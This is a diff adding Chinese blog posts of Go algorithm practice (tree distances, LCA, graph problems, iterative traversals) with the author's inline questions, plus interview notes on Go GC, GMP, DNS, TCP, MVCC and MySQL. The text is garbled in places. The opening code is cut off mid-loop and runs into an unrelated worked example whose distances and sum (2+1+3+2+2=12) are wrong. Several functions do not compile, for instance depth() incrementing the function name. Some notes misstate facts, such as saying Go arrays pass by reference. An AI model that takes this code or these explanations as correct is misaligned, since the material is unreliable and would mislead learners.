+下面的代码有什么问题吗 +*/ +var graph [][]int +func sumOfDistancesInTree(n int, edges [][]int) []int { + // 构建邻接表 + graph= make([][]int,n) + for _,v := range edges{ + who1:=v[0] + who2:=v[1] + graph[who1] = append(graph[who1],who2) + graph[who2] = append(graph[who2],who1) + } + /* + 0 [1 2] 0 + 1 [0] + 2 [0 3 4 5] + 3 [2] + 4 [2] + 5 [2] + */ + return traverse(graph,n) +} + +func traverse(graph [][]int,n int)[]int{ + res := []int{} + for i:=0;i 3 + 6 1 -> 3 -> 6 + 2 1 -> 2 + 4 1 -> 2 -> 4 + 5 1 -> 2 -> 5 + 7 1 -> 2 -> 5 -> 7 + 8 1 -> 2 -> 5 -> 8 + +接下来,我们需要找到节点 2 和每个不在其子树中的节点 j 之间的距离。对于节点 4 来说,它在节点 2 子树中,因此不需要计算。对于其它节点,我们可以通过以下步骤来计算它们和节点 2 之间的距离: + +首先,我们需要找到节点 2 和节点 j 的 LCA(最近公共祖先)节点。对于节点 3,LCA 是节点 1;对于节点 6,LCA 是节点 1;对于节点 5,LCA 是节点 2;对于节点 7,LCA 是节点 5;对于节点 8,LCA 是节点 5。 + + +最后,将这两个距离相加即可得到节点 2 和节点 j 之间的距离。 +以下是每个节点和节点 2 之间的距离: + +Node Distance to Node 2 +---------------------------------- +1 1 +2 0 +3 2 +4 1 +5 1 +7 2 +8 2 + +最后,我们将这些距离相加即可得到节点 2 的距离: + +2 + 1 + 3 + 2 + 2 = 12 + +因此,我们得出节点 2 的距离为 12。 + + +``` + +```go +// 这个代码用来求任意两个节点之间的距离,代码有没有问题 +type Node struct { + val int + children []*Node +} +var parent map[*Node]*Node + +// 计算节点 i 到节点 j 之间的距离 +func distance(i *Node, j *Node) int { + // 如果节点 i 和节点 j 相等,则它们之间的距离为 0 + if i == j { + return 0 + } + + // 找到节点 i 和节点 j 的 LCA(最近公共祖先)节点 + lca := findLCA(i, j) + + // 计算节点 i 和节点 j 之间的距离 + dist_i_to_lca := depth(i) - depth(lca) + dist_j_to_lca := depth(j) - depth(lca) + return dist_i_to_lca + dist_j_to_lca +} + +// 找到节点 i 和节点 j 的 LCA 节点 +func findLCA(i *Node, j *Node) *Node{ + stack := []*Node{i} + // parent[k] k是孩子,v 是父 + parent := make(map[*Node]*Node) + parent[i] = nil + for len(stack ) >0 { + curr:= stack[len(stack)-1] + stack = stack [:len(stack)-1] + for _,child := range curr.children{ + stack = append(stack,child) + parent[child] = curr + } + } + // 找到节点 i 和节点 j 分别到根节点的路径 + // 记录i的所有祖先节点 + path_i := make(map[*Node]bool) + for i!= nil{ + path_i[i] = true + i = parent[i] + } + + for path_i[j]== false{ + j = parent[j] + } + return j +} + +// 计算节点的深度(从根节点开始) +func depth(node *Node) int{ + d:=0 + for node!= nil{ + node = parent[node] + depth++ + } + return depth +} + +``` + +```go + +var nodeNum []int +var distSum []int +var graph [][]int +var N int +func sumOfDistancesInTree(n int, edges [][]int) []int { + nodeNum = make([]int,n) + distSum = make([]int,n) + graph = make([][]int, n) + N= n + for _, e := range edges { + u, v := e[0], e[1] + graph[u] = append(graph[u], v) + graph[v] = append(graph[v], u) + } + DFS(0,-1) + DFS2(0,-1) + return distSum +} + +func DFS(root int ,father int){ + // 1 + // / \ + // 2 3 + // | + // 4 + // 子树有几个节点,那么1-2这个路径就要走几次 + // distSum[i] 是以i为根节点的子树到i的距离 + // 每个子树的节点个数nodeNum[i] + // distSum[4] =0 distSum[3]=0 distSum[2]=1 + // nodeNum[2] = 2 nodeNum[3]= 1 nodeNum[4] = 1 + // distSum[1]= distSum[2]+distSum[3]+ distSum[4]+ nodeNum[2] +nodeNum[3] + nodeNum[4] + + // 通过节点distSum[1] 计算distSum[2],就是1—2 1-3每个都少走了一步 + // distSum[2]= distSum[1]-nodeNum[2] + // 子树以外的节点呢,有N-nodeNum[2]个,从计算distSum[0]变成计算distSum[2]:从节点 0 到这N-nodeNum[2]个,变成从节点 2 到这N-nodeNum[2]个,每个节点都多走了一步,一共多走了N-nodeNum[2]步。 + + // distSum[i]=distSum[root]−nodeNum[i]+(N−nodeNum[i]) + + neighbors := graph[root] + for _,v := range neighbors { + if v == father{ + continue + } + DFS(v,root) + //在 nodeNum[root] += nodeNum[v] + 1 中,nodeNum 是一个记录每个节点子树大小的数组。nodeNum[root] 表示以 root 为根的子树中包含的节点总数,而 nodeNum[v] 表示以 v 为根的子树中包含的节点总数。因此,nodeNum[root] += nodeNum[v] + 1 的意思是将 v 子树的大小加到 root 子树的大小中,并将 v 点本身也计算在内(即加 1)。 + + nodeNum[root] += nodeNum[v] + 1 + distSum[root] += distSum[v] + nodeNum[v] + 1 + 请列出每个点对应的nodeNum和distSum + // 1 0 + // 2 1 + // 3 1 + // 4 2 + // 5 2 + // 6 2 + // 7 3 + // 8 4 + } + +} + +func DFS2(root int,father int){ + neighbors := graph[root] + for _,v := range neighbors { + if v== father{ + continue + } + distSum[v] = distSum[root] - nodeNum[v] - 1 + (N - nodeNum[v] - 1) + DFS2(v,root) + } +} + +请列出在DFS以及DFS2过程中nodeNum 以及 distSum +``` + +```text + 1 + / \ + 2 3 + / \ \ + 4 5 6 + \ + 7 + / + 8 +以节点 1 为根的子树中,所有节点之间的距离总和为 $14+16+11+2+3=46$。但是注意,题目给出的代码中还需要加上每个节点与根节点之间的距离。在本例中,节点 2 到根节点的距离为 $1$,节点 3 到根节点的距离为 $1$,节点 4 到根节点的距离为 $2$,节点 5 到根节点的距离为 $2$,节点 6 到根节点的距离为 $2$,节点 7 到根节点的距离为 $3$,节点 8 到根节点的距离为 $3$。因此,所有节点与根节点之间的距离总和为 $1+1+2+2+2+3+3=14$。 + + +``` + +```go +/** + * Definition for a binary tree node. + * type TreeNode struct { + * Val int + * Left *TreeNode + * Right *TreeNode + * } + */ + +var res int +func maxAncestorDiff(root *TreeNode) int { + res = 0 + DFS(root,root.Val,root.Val) + return res +} + +func DFS(root *TreeNode, minN int, maxN int) int{ + if root == nil{ + return maxN - minN + } + left:=DFS(root.Left, min(root.Val, minN), max(root.Val, maxN)) + right:=DFS(root.Right, min(root.Val, minN), max(root.Val, maxN)) + res = max(res,max(left,right)) + return res +} + + +func max(a int ,b int ) int{ + if a> b { + return a + } + return b +} + +func min(a int ,b int ) int{ + if a 0{ + return a + } + return -a +} +``` + +```go +var fatherNode map[*TreeNode]*TreeNode +/* 寻找任意两个点之间的距离 */ +func DFS(root *TreeNode,father *TreeNode){ + if root == nil{ + return + } + fatherNode[root] = father + DFS(root.Left,root) + DFS(root.Right,root) +} + +// 寻找公共祖先 +func FindLCA(i *TreeNode ,j *TreeNode)*TreeNode{ + path_i:= map[*TreeNode]bool{} + for i!=nil{ + path_i[i]=true + i = fatherNode[i] + } + for path_i[j]==false{ + j = fatherNode[j] + } + return j +} + + +func Distance(i *TreeNode ,j *TreeNode) int{ + if i==j{ + return 0 + } + lca:= FindLCA(i,j) + d1:= abs(depth(lca)-depth(i)) + d2:= abs(depth(lca)-depth(j)) + return d1+d2 +} + +func depth(i *TreeNode)int{ + d:=0 + for i!=nil{ + d++ + i =fatherNode[i] + } + return d +} + +func abs( a int) int{ + if a > 0{ + return a + } + return -a +} +``` + +```go +/* */ +/** + * Definition for a binary tree node. + * type TreeNode struct { + * Val int + * Left *TreeNode + * Right *TreeNode + * } + */ + var res []int + var K int +func distanceK(root *TreeNode, target *TreeNode, k int) []int { + res = []int{} + fatherNode = map[*TreeNode]*TreeNode{} + K = k + DFS(root,nil) + //fmt.Println(Distance(root.Right,root.Left)) + traverse(root,target) + return res +} + +func traverse(root *TreeNode,target *TreeNode){ + if root == nil{ + return + } + dis:= Distance(root,target) + if dis == K{ + res = append(res,root.Val) + } + traverse(root.Left,target) + traverse(root.Right,target) +} + +var fatherNode map[*TreeNode]*TreeNode +/* 寻找任意两个点之间的距离 */ +func DFS(root *TreeNode,father *TreeNode){ + if root == nil{ + return + } + fatherNode[root] = father + DFS(root.Left,root) + DFS(root.Right,root) +} + +// 寻找公共祖先 +func FindLCA(i *TreeNode ,j *TreeNode)*TreeNode{ + path_i:= map[*TreeNode]bool{} + for i!=nil{ + path_i[i]=true + i = fatherNode[i] + } + for path_i[j]==false{ + j = fatherNode[j] + } + return j +} + +func Distance(i *TreeNode ,j *TreeNode) int{ + if i==j{ + return 0 + } + lca:= FindLCA(i,j) + d1:= abs(depth(lca)-depth(i)) + d2:= abs(depth(lca)-depth(j)) + return d1+d2 +} + +func depth(i *TreeNode)int{ + d:=0 + for i!=nil{ + d++ + i =fatherNode[i] + } + return d +} + +func abs( a int) int{ + if a > 0{ + return a + } + return -a +} +``` + +```go +/*有 n 个城市,其中一些彼此相连,另一些没有相连。如果城市 a 与城市 b 直接相连,且城市 b 与城市 c 直接相连,那么城市 a 与城市 c 间接相连。 + +省份 是一组直接或间接相连的城市,组内不含其他没有相连的城市。 + +给一个 n x n 的矩阵 isConnected ,其中 isConnected[i][j] = 1 表示第 i 个城市和第 j 个城市直接相连,而 isConnected[i][j] = 0 表示二者不直接相连。 + +返回矩阵中 省份 的数量。/* + + +var graph [][]int +var visted map[int]bool +func findCircleNum(isConnected [][]int) int { + graph = isConnected + visted = map[int]bool{} + DFS(0,visted) + return len(isConnected)-len(visted)+1 +} + +func DFS(father int,visted map[int]bool){ + visted[father]=true + for son,v := range graph[father]{ + if v == 1 && son != father && visted[son]==false{ + DFS(son,visted) + } + } +} +``` + +```go +var graph [][]int + +func findCircleNum(isConnected [][]int) int { + count:=0 + graph = isConnected + visted :=map[int]bool{} + for k,_:= range isConnected{ + if visted[k] == true{ + continue + } + DFS(k,visted) + count++ + } + return count +} + + +func DFS(father int,visted map[int]bool){ + visted[father]=true + for son,v := range graph[father]{ + if v == 1 && son != father && visted[son]==false{ + DFS(son,visted) + } + } +} +``` + +```go +/*有一个有 n 个节点的有向图,节点按 0 到 n - 1 编号。图由一个 索引从 0 开始 的 2D 整数数组 graph表示, graph[i]是与节点 i 相邻的节点的整数数组,这意味着从节点 i 到 graph[i]中的每个节点都有一条边。 + +如果一个节点没有连出的有向边,则它是 终端节点 。如果没有出边,则节点为终端节点。如果从该节点开始的所有可能路径都通向 终端节点 ,则该节点为 安全节点 。 + +返回一个由图中所有 安全节点 组成的数组作为答案。答案数组中的元素应当按 升序 排列。图中可能包含自环,这个需要注意 + +/* +0 1 2 +1 2 3 +2 5 +3 0 +4 5 +5 +6 + 0 4 5 6 + / \ / + 1 2 5 + /\ | + 2 3 5 + | + 0 + +1.可能构成环,需要对每个根底的树做判断,判断节点是否出现 +2. 四颗树有关系,全局的变量记录某个节点是不是安全节点或者是终端节点 + + */ + +func eventualSafeNodes(graph [][]int) []int { + result := []int{} + terminal, safe, visited := make(map[int]bool, len(graph)), make(map[int]bool, len(graph)), make(map[int]bool, len(graph)) + + // Find terminal nodes + for i := 0; i < len(graph); i++ { + if len(graph[i]) == 0 { + terminal[i] = true + safe[i] = true + } + } + + // Check safety for each node + for i := 0; i < len(graph); i++ { + if isNodeSafe(i, safe, terminal, visited, graph) { + result = append(result, i) + } + } + + return result +} + +func isNodeSafe(node int, safe map[int]bool, terminal map[int]bool, visited map[int]bool, graph [][]int) bool { + if visited[node] { + return false // Already visited in this path + } + if terminal[node] || safe[node] { + return true + } + + visited[node] = true + for _, son := range graph[node] { + if !isNodeSafe(son, safe, terminal, visited, graph) { + return false + } + } + // 为什么需要 visited[node] = false? + visited[node] = false // Mark as unvisited for future paths + safe[node] = true // Mark this node as safe + return true +} +``` + +```go + + + +func eventualSafeNodes(graph [][]int) []int { + n := len(graph) + // 反向图 + 为什么要建立反向图? + reverseGraph := make([][]int, n) + // 入度数组 + inDegrees是出度节点吧? + inDegrees := make([]int, n) + for i := 0; i < n; i++ { + for _, v := range graph[i] { + reverseGraph[v] = append(reverseGraph[v], i) + inDegrees[i]++ + } + } + + // 终端节点入队 + queue := []int{} + for i := 0; i < n; i++ { + if inDegrees[i] == 0 { + queue = append(queue, i) + } + } + + // 拓扑排序 + result := []int{} + for len(queue) > 0 { + node := queue[0] + queue = queue[1:] + // 加入结果集 + result = append(result, node) + // 不断的从终端节点出发判断能不能达到某个顶点 + for _, v := range reverseGraph[node] { + inDegrees[v]-- + // 将入度为0的节点入队 + if inDegrees[v] == 0 { + queue = append(queue, v) + } + } + } + + sort.Ints(result) + return result +} + +``` + +### 广度优先遍历模仿递归的前序遍历 + +```go +type Node struct { + Val int + Left *Node + Right *Node +} + +func PreorderTraversal(root *Node) []int { + var res []int + if root == nil { // 处理特殊情况 + return res + } + + stack := []*Node{root} + for len(stack) > 0 { // 广度优先遍历 + node := stack[len(stack)-1] + stack = stack[:len(stack)-1] + + if node != nil { + res = append(res, node.Val) // 前序遍历顺序:根、左、右 + stack = append(stack, node.Right) // 右子节点入栈 + stack = append(stack, node.Left) // 左子节点入栈 + } + } + + return res +} +``` + +### 广度优先遍历模仿递归的中序遍历 + +```go +/* + 0 + / \ + 1 2 + / \ / \ + 3 4 5 6 + / \ + 7 8 + 7 3 8 1 4 0 5 2 6 + + */ +//画一个节点从0~10的完全二叉树 +type Node struct { + Val int + Left *Node + Right *Node +} + +func InorderTraversal(root *Node) []int { + var res []int + if root == nil { // 处理特殊情况 + return res + } + + stack := []*Node{} + node := root + // node 如果不为空,那么就不断递归左节点 + for len(stack) > 0 || node != nil { // 广度优先遍历 + // 先把所有的左子树入栈 + for node != nil{ + stack = append(stack,node) + node = node.Left + } + // 从底向上弹出根节点,放入右节点 + // 回退 + node = stack [len(stack)-1] + stack= stack [:len(stcak)-1] + // 根 + res = append(res,node.Val) + node = node.Right + } + + return res +} + + +``` + +### 广度优先遍历模仿递归的后序遍历 + +```go +/* + 0 + / \ + 1 2 + / \ / \ + 3 4 5 6 + / \ + 7 8 + 7 8 3 4 1 5 6 2 0 + // 0 2 1 4 3 8 7 + // 7 8 + + */ +type Node struct { + Val int + Left *Node + Right *Node +} + +func PostorderTraversal(root *Node) []int { + var res []int + if root == nil { // 处理特殊情况 + return res + } + + stack1 := []*Node{root} + stack2 := []*Node{} + for len(stack1) > 0 { // 广度优先遍历 + node := stack1[len(stack1)-1] + stack1 = stack1[:len(stack1)-1] + + stack2 = append(stack2, node) + if node.Left != nil { // 左节点入栈1 + stack1 = append(stack1, node.Left) + } + if node.Right != nil { // 右节点入栈1 + stack1 = append(stack1, node.Right) + } + } + + for len(stack2) > 0 { // 反转栈2,得到后序遍历结果 + node := stack2[len(stack2)-1] + stack2 = stack2[:len(stack2)-1] + res = append(res, node.Val) + } + + return res +} + +``` diff --git a/_posts/2023-4-19-test-markdown.md b/_posts/2023-4-19-test-markdown.md new file mode 100644 index 000000000000..ed881cf90d3a --- /dev/null +++ b/_posts/2023-4-19-test-markdown.md @@ -0,0 +1,343 @@ +--- +layout: post +title: 瞎写写 +subtitle: +tags: [interview] +comments: true +--- + +### golang 垃圾回收,三色标记法 + +Golang 的垃圾回收(GC)机制是基于三色标记法的,并且采用了并发标记和并发清除的策略进行垃圾回收。 + +三色标记法是指将所有对象分为三种颜色:白色、灰色和黑色。在进行垃圾回收时,所有未标记的对象都被视为白色,即待回收对象。初始状态下,所有对象都是白色的。当开始进行垃圾回收时,从根对象出发,遍历所有可达对象,并将它们标记为灰色。然后逐个取出灰色对象,遍历它们的引用,将引用指向的对象标记为灰色或直接标记为黑色。当所有灰色对象都被处理完毕后,剩余未标记的对象即为待回收对象。 + +Golang 的垃圾回收器使用了并行标记和并行清除的策略,可以让垃圾回收与程序执行并发进行,减少停顿时间。具体来说,当进行垃圾回收时,会启动多个 goroutine 进行并行标记操作,然后再进行并行清除操作。同时,Golang 也提供了可选参数来调整垃圾回收的表现,例如可以设置回收时间阈值、并发标记的最大使用数量等等。 + +总之,Golang 的垃圾回收采用了三色标记法和并行处理策略,可以高效地进行垃圾回收并减少停顿时间。 + +### GMP + +golang 的 G(goroutine)(M 系统线程) (P process) + +在 Golang 中,有三个概念:G(goroutine)、M(操作系统线程)和 P(处理器)。这些概念是用来管理并发的,是 Golang 并发机制的基本组成部分。 + +Goroutine 是 Golang 实现轻量级线程的方式,一个应用程序可以拥有成千上万个 goroutine。每个 goroutine 都是由 Go Runtime 自动分配和调度的。goroutine 的创建和销毁非常轻量级,只需要几个 CPU 指令即可完成,因此可以在程序内部高效地使用大量的 goroutine 实现并发。 + +M(Machine)是 Golang 中操作系统线程的抽象,负责执行 goroutine。当一个 goroutine 被创建时,它会被随机绑定到一个 M 上,当 goroutine 阻塞时,该 M 会挂起当前 goroutine 并运行其他 goroutine,从而不会阻塞整个程序。同时,M 还负责调度本地 goroutine 队列,以及与其他 M 进行协作,实现全局的 goroutine 调度。 + +P(Processor)是一个逻辑处理器,负责管理一组 goroutine 的调度。每个 P 都有自己的本地 goroutine 队列和工作线程,可以在多个 M 之间共享。当一个 M 需要 goroutine 执行时,它会从全局的队列中获取一个 goroutine 并执行,如果本地队列没有可执行的 goroutine,则会从其他 P 中窃取一些 goroutine 到本地队列中。 + +综上,Goroutine、M 和 P 是 Golang 并发机制的基本组成部分,它们共同协作来实现高效的并发处理。Goroutine 提供了轻量级的线程抽象,M 负责管理操作系统线程的调度与执行,而 P 则负责管理一组 goroutine 的调度,从而实现全局的 goroutine 调度。 + +### 进程和线程的区别 + +进程(process)是程序在执行时分配和管理资源的基本单位,每个进程都有独立的内存空间、程序计数器和栈等,它们之间相互隔离,互不干扰。每个进程都有自己的地址空间,因此在进程间通信通常需要使用 IPC(Inter-Process Communication)机制。进程的创建、结束等都受到操作系统的控制,它们之间是完全独立的实体。 + +线程(thread)是进程的一个执行单元,是 CPU 调度的最小单位。在同一个进程中的多个线程可以共享进程的地址空间和资源,包括打开的文件、信号处理函数以及一些与 I/O 相关的状态等。因此,在同一进程内的线程之间通信和共享数据相对容易,通常会使用锁等机制来保证数据的同步和互斥。线程的创建、结束等也是由操作系统来管理的。 + +总体来说,主要区别如下: + +资源分配: 进程是操作系统分配资源的基本单位,而线程是 CPU 调度的最小单位。 +并发性: 由于进程之间的资源相互隔离,多进程可以有效避免死锁等问题,但是会消耗更多的系统资源。而线程共享进程的资源,因此在同一进程内的多个线程之间切换的代价更小,能够提高程序的并发性。 + +内存使用: 进程之间的内存是相互独立的,而线程可以共享一部分内存。因此,多进程程序需要花费更多的内存来维护进程间的通信和数据共享。 + +### 如何理解进程是资源分配的基本单位,线程是 CPU 调度的最小单位 + +理解"进程是操作系统分配资源的基本单位,而线程是 CPU 调度的最小单位"这个概念需要从进程和线程在计算机中的角色、特点以及使用上进行考虑。 + +首先,一个程序在运行时会被操作系统分配一定的资源,如内存空间、硬盘空间、输入输出等;同时,在多任务操作系统中,也有多个程序需要协同工作,因此操作系统需要管理和分配这些资源来使程序能够正常运行完成。 因此,操作系统把“进程”作为资源分配的基本单位,即:每个进程拥有独立的资源分配,且不同进程间的资源互不干扰,避免了进程间的竞争和干扰。 + +其次,线程作为进程的执行单元,可以看做是轻量级的进程,一个进程可以包含多个线程,它们共享进程资源,比如该进程打开的文件、内存空间等。但线程之间又具有自己的“私有”的部分,如线程栈、寄存器等,使得线程间的切换比进程间更加快速,同时也更加容易实现“并发”。 因此,所谓线程作为 CPU 调度的最小单位,主要指的是通过 CPU 的时间片轮转机制来实现多线程之间“伪并发”的效果。由于 CPU 时间片轮转的特性,多个线程可以在非常短的时间内交替执行,看起来就像是同时运行了多个线程。 + +综上所述:进程和线程都是计算机中的重要概念,在操作系统中担任着不同的角色。进程作为资源分配的基本单位,可以避免不同进程间的资源冲突和干扰;而线程则作为执行的最小单位,切换开销小,能够实现更高效的并发操作。 + +### golang 垃圾回收,三色标记法 + +Golang 的垃圾回收(GC)机制是基于三色标记法的,并且采用了并发标记和并发清除的策略进行垃圾回收。 + +三色标记法是指将所有对象分为三种颜色:白色、灰色和黑色。在进行垃圾回收时,所有未标记的对象都被视为白色,即待回收对象。初始状态下,所有对象都是白色的。当开始进行垃圾回收时,从根对象出发,遍历所有可达对象,并将它们标记为灰色。然后逐个取出灰色对象,遍历它们的引用,将引用指向的对象标记为灰色或直接标记为黑色。当所有灰色对象都被处理完毕后,剩余未标记的对象即为待回收对象。 + +Golang 的垃圾回收器使用了并行标记和并行清除的策略,可以让垃圾回收与程序执行并发进行,减少停顿时间。具体来说,当进行垃圾回收时,会启动多个 goroutine 进行并行标记操作,然后再进行并行清除操作。同时,Golang 也提供了可选参数来调整垃圾回收的表现,例如可以设置回收时间阈值、并发标记的最大使用数量等等。 + +总之,Golang 的垃圾回收采用了三色标记法和并行处理策略,可以高效地进行垃圾回收并减少停顿时间。 + +### Golang 中的函数参数传递方式 + +在 Golang 中,函数参数可以通过值传递或引用传递的方式进行。当以值传递方式调用函数时,函数会将参数的副本传入自己的栈空间中操作,因此原始变量的值不会受到影响。而以引用传递方式调用函数时,则会将指向参数原始地址的指针传入函数,这样函数内部就可以直接修改原始变量的值。 + +需要注意的是,对于数组、切片、字典和通道等类型的复合结构,在传递参数时是以引用传递的方式进行的。这意味着,在函数内部修改这些类型的值会改变原始变量的值。 + +在某些情况下,需要使用指针来传递参数。例如,当函数需要修改原始变量的值时,或者数据较大时为了避免大量复制导致的性能问题时,都可以使用指针传递参数。 + +总之,在 Golang 中可以通过值传递或引用传递的方式来传递函数参数,并且需要根据不同情况选择合适的方式进行参数传递。 + +### goroutine + +goroutine 是 Go 语言中轻量级的线程实现,它可以在相对小的内存占用下并发处理大量任务。彼此之间共享同一个地址空间,并且可以通过通道(channel)进行通信和同步。 + +channel 是 Golang 提供的一种用于不同 goroutine 之间安全通信的机制。它基本上就是一个管道,一个 goroutine 可以向里面写入数据,另一个 goroutine 可以从中读取数据。由于通道是并发安全的,在多个 goroutine 之间操作时,可以有效避免数据竞争和内存访问冲突等问题。 + +goroutine 和 channel 之间的关系是非常密切的。在 Go 语言中,goroutine 通常使用 channel 进行通信,以实现不同 goroutine 之间的同步和数据共享等功能。通过 chan<-表示将数据发送到通道,<-chan 则表示从通道中接收数据。 + +### 什么是 DNS 协议? + +它的作用是什么?DNS 查询的过程是怎样的? + +DNS(Domain Name System,域名系统)是一种用于将域名转换为 IP 地址的分布式命名系统。DNS 协议用于在互联网上定位信息和服务,通过一个层次化的名称空间来表示各个网络上的主机。 + +DNS 的主要作用是将易于记忆的域名转换为计算机可读的 IP 地址,从而实现计算机之间的通信。当我们在浏览器中输入一个网址时,比如 www.google.com,电脑首先会向本地DNS服务器发送一个查询请求,根据该DNS服务器的配置,可能会连接到其他的DNS服务器进行查询,最终会返回www.google.com对应的IP地址,例如 172.217.14.196。这样,电脑就可以使用该 IP 地址来访问www.google.com提供的服务了。 + +DNS 查询的过程通常涉及以下几个步骤: + +当用户输入一个域名时,本地 DNS 服务器会首先查询自己的缓存,看是否已经有该域名对应的 IP 地址。如果没有,则进入下一步。 +本地 DNS 服务器会向根域名服务器发出一个查询请求,询问它所知道的顶级域名服务器(如.com、.org 等)的 IP 地址。根域名服务器不直接返回查询结果,而是告诉本地 DNS 服务器需要向哪个顶级域名服务器发出查询请求。 +本地 DNS 服务器向顶级域名服务器发出查询请求,顶级域名服务器根据该请求返回下一级域名服务器的 IP 地址。例如,如果查询请求是寻找www.example.com域名对应的IP地址,那么顶级域名服务器就告诉本地DNS服务器需要向example.com所在的权威域名服务器发出查询请求。 +本地 DNS 服务器向 example.com 的权威域名服务器发出查询请求,权威域名服务器根据该请求返回www.example.com对应的IP地址。 +本地 DNS 服务器将 IP 地址返回给用户的计算机,用户计算机便可以使用该地址连接到目标服务器。 +总之,DNS 协议通过将易于记忆的域名转换为计算机可读的 IP 地址,促进了互联网上各种信息和服务的传递,让用户更方便地访问所需资 + +### TCP 三次握手 + +TCP(传输控制协议)是一种面向连接的、可靠的协议,通信双方进行数据传输之前需要建立连接。在 TCP 连接中,使用了三次握手来确保通信双方能够正常收发数据。 + +下面是 TCP 三次握手过程: + +客户端发送 SYN 报文:客户端向服务器发送一个请求连接的报文段(SYN 报文),其中 SYN 标志位被设置为 1,表示客户端要求和服务器建立连接,同时客户端会随机选择一个起始序列号(seq=x)。 +服务器回应 SYN+ACK 报文:服务器接收到客户端的 SYN 报文后,如果同意连接请求,则会返回一个 SYN+ACK 报文,其中 SYN 和 ACK 标志位都被设置为 1,确认号(ack=y+1)被设置为客户端起始序列号加 1,同时服务器也会随机选择一个自己的起始序列号(seq=y)。 +客户端回应 ACK 报文:客户端接收到服务器的 SYN+ACK 报文后,将确认号设置为服务器起始序列号加 1(ack=x+1),同时将 ACK 标志位置为 1,表示客户端已经收到服务器的响应了。 +至此,TCP 连接已经建立起来。每个报文段都包括了序列号和确认号,这样通信双方就可以互相确认是否有任何数据的丢失或错误,并且也可以确保建立的连接是可靠的。在数据传输完成后,TCP 使用四次挥手来终止连接。 + +### MVCC 可以解决幻读和脏读吗,是如何解决的 + +MVCC(多版本并发控制)可以解决幻读和脏读问题,在数据库中它是一种基于时间戳的机制,每个事务都可以看到自己启动时的数据库快照(版本)。 + +在 MVCC 的实现中,每行数据都有若干个不同版本,每个版本都有一个时间戳。当一个事务需要读取某行数据时,只会看到最新的已提交版本,并且这个版本的时间戳必须小于等于该事务启动的时间戳。如果该事务修改了数据,那么这个事务就会创建新版本的数据,并更新该行对应的时间戳,其他事务会继续看到旧版本。这样,每个事务都可以看到一致的快照视图,从而解决了幻读和脏读问题。 + +具体来说,MVCC 可以通过以下几种方式解决幻读和脏读: + +幻读:在读取数据时,MVCC 会锁定当前查询出的版本,即使用间隙锁防止其他事务插入新行或删除满足条件的行。 +脏读:当一个事务开始写数据时,MVCC 会为该事务生成一个独立的快照,并只允许该事务访问其中的数据,其他事务无法看到该事务所做的修改直到此次修改成功提交。 +综上所述,MVCC 通过版本机制实现了每个事务仅访问自己快照中的数据,而不会受到其他事务的干扰,从而解决了幻读和脏读问题。但需要注意,MVCC 只是一个并发控制机制,不能解决所有的并发问题,数据库设计的合理性、业务逻辑的正确性等都是需要开发人员在编程时考虑的因素。 + +幻读(Phantom Read)通常是指当一个事务在查询某个表时发现了一些新的记录,但是在事务结束之前,另外一个事务插入了一些新的记录,并且这些记录符合了第一个事务的查询条件,造成了第一个事务出现了“幻觉”般的记录。这种现象被称作幻读。 + +举个例子,假设事务 A 对某个表执行一个范围查询 `SELECT * FROM table WHERE id >= 10 AND id < 20 `在此期间,事务 B 向此表中插入了一条符合条件的新记录并提交事务。如果事务 A 接下来再次执行相同的查询,则会看到一条多余的记录,而这条记录之前事务 A 并未查询到过,导致产生幻读。 + +要解决幻读问题,可以使用数据库提供的锁机制,如共享锁和排他锁等,在执行事务时锁定相关的记录或行,并设置正确的隔离级别(如 Serializable),以确保多个事务之间读写的一致性和互斥性。除此之外,还可以使用乐观锁的方式,即在更新记录时,先读取一次数据,判断数据是否已被其他事务修改,若没有修改,则进行更新操作;否则,放弃本次操作或重试。 + +"脏读"是指一个事务在读取另外一个事务未提交的数据时所读取到的数据。即,一个事务读取了其他事务还未提交的“脏数据”。 + +假设有两个事务 T1 和 T2,T1 正在修改数据库中的一条记录,还没有提交该事务,此时 T2 开始执行并且尝试读取同一条被 T1 锁住但还没有提交的记录。 + +此时,T2 可以读取此时记录的值,并继续执行其他操作。但实际上,当 T1 回滚或提交该事务时,该记录的值可能和 T2 在读取时获取到的值不同,因此这种情况就称为“脏读”。 + +脏读是一种非常危险的现象,因为它可能导致应用程序基于错误的数据作出不正确的决策。因此,在数据读取过程中,避免对数据库中的未提交事务进行访问,或者使用锁机制确保数据的一致性和完整性,是保证多用户环境下数据操作正确性的重要措施。 + +## MYSQL 性能优化有哪些方法 + +MYSQL 性能优化有很多方法,以下是一些比较常用的: + +优化查询语句。通常可以通过使用索引、尽量避免全表扫描、减少子查询或连接查询等方式来优化查询语句。 + +避免在查询中使用“SELECT _”语句。“SELECT _”会返回所有列的数据,导致查询速度变慢,占用更多内存,因此应该只选择需要的列。 + +对频繁查询的表进行分区。对于经常访问的大表,可以考虑对其进行水平分区,将其分成多个小表,以降低 I/O 的操作,提升查询效率。 + +控制并发连接数。MYSQL 默认最大连接数为 100,如果并发连接数过高,会影响整个系统的稳定性和查询效率,因此需要适当调整最大连接数,并且合理利用连接池。 + +配置合理的缓存。MYSQL 支持多种缓存机制,如 Query Cache、InnoDB Buffer Pool 等,可以根据实际业务情况配置缓存大小、清除策略等,以提升查询效率。 + +定期清理无用数据。及时清理无用数据可以减轻数据库负担,提高查询效率。可以通过定期清理日志、删除历史数据等方式来实现。 + +更新 MYSQL 版本。更新到最新的数据库版本可以获得更好的性能,以及一些新的优化特性。 + +### 乐观锁 + +乐观锁是一种并发控制机制,它假设多个事务之间的冲突不太可能发生,所以在进行并发修改时不对数据进行加锁,而是通过比较版本号等方式来判断是否有并发修改。因此,乐观锁也被称为“无锁并发控制”。 + +乐观锁的实现方式通常包括以下几个步骤: + +在表中添加一个版本号字段(例如 version); +读取数据时,同时读取该记录的版本号; +修改数据时,更新该记录的版本号,并将新版本号写回表中; +当另一个事务要修改该记录时,先读取该记录的当前版本号; +如果当前版本号与要修改事务开始时读取到的版本号不一致,则说明该记录已经被其他事务修改过了,需要处理冲突。 +当发现冲突时,乐观锁通常采用两种策略来解决:一种是放弃本次操作,返回错误信息或异常;另一种是重试本次操作,重新执行一遍业务逻辑,从而得到最新的数据状态进行更新,可以通过循环重试的方式来保证更新操作的成功。 + +乐观锁相比传统的悲观锁(如共享锁或排他锁)能够更好地支持并发操作,允许多个事务同时读取同一条记录,从而提高了数据库的并发性能。但是由于乐观锁没有加锁机制,无法防止所有的并发冲突,所以需要开发人员根据具体的业务逻辑来选择合适的锁策略。 + +### MVCC + +MVCC 是多版本并发控制(Multi-Version Concurrency Control)的缩写。它是一种常见的数据库事务隔离级别,可以在高并发的情况下保证数据的并发访问效率和事务的隔离性。 + 